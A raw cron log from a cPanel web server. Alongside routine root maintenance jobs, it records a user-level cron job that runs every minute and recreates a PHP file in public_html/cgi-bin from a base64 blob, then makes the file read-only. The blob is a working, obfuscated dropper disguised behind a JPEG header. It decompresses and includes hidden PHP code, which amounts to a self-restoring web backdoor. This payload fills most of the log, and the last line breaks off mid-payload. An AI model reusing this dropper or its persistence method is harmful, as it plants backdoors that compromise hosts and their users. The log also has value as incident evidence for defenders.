Sep  5 04:13:01 server CROND[4728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:14:01 server CROND[5126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:14:01 server CROND[5127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:14:01 server CROND[5128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:15:01 server CROND[5524]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:15:01 server CROND[5525]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 04:15:01 server CROND[5527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:15:01 server CROND[5531]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 04:15:01 server CROND[5537]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:15:01 server CROND[5541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:15:01 server CROND[5542]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 04:15:01 server CROND[5543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:15:01 server CROND[5548]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 04:16:01 server CROND[6491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:16:01 server CROND[6492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:16:01 server CROND[6499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:17:01 server CROND[7009]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Sep  5 04:17:01 server CROND[7010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:17:01 server CROND[7011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:17:01 server CROND[7012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:18:01 server CROND[7556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:18:01 server CROND[7557]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:18:01 server CROND[7558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:18:14 server run-parts(/etc/cron.daily)[7685]: finished imunify-antivirus.cron
Sep  5 04:18:14 server run-parts(/etc/cron.daily)[11584]: starting logclean
Sep  5 04:18:14 server run-parts(/etc/cron.daily)[7697]: finished logclean
Sep  5 04:18:14 server run-parts(/etc/cron.daily)[11584]: starting logrotate
Sep  5 04:18:15 server run-parts(/etc/cron.daily)[7712]: finished logrotate
Sep  5 04:18:15 server run-parts(/etc/cron.daily)[11584]: starting maldet
Sep  5 04:19:01 server CROND[8436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:19:01 server CROND[8437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:19:01 server CROND[8438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:20:01 server CROND[8825]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:20:01 server CROND[8824]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 04:20:01 server CROND[8827]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 04:20:01 server CROND[8831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:20:01 server CROND[8832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:20:01 server CROND[8834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:20:01 server CROND[8835]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:20:01 server CROND[8839]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 04:20:01 server CROND[8838]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 04:21:01 server CROND[9678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:21:01 server CROND[9679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:21:01 server CROND[9680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:22:01 server CROND[10145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:22:01 server CROND[10146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:22:01 server CROND[10147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:22:21 server run-parts(/etc/cron.daily)[11752]: finished maldet
Sep  5 04:22:21 server run-parts(/etc/cron.daily)[11584]: starting man-db.cron
Sep  5 04:22:21 server run-parts(/etc/cron.daily)[11830]: finished man-db.cron
Sep  5 04:22:21 server anacron[845]: Job `cron.daily' terminated
Sep  5 04:22:21 server anacron[845]: Normal exit (1 job run)
Sep  5 04:23:01 server CROND[13062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:23:01 server CROND[13063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:23:01 server CROND[13064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:24:01 server CROND[13451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:24:01 server CROND[13452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBU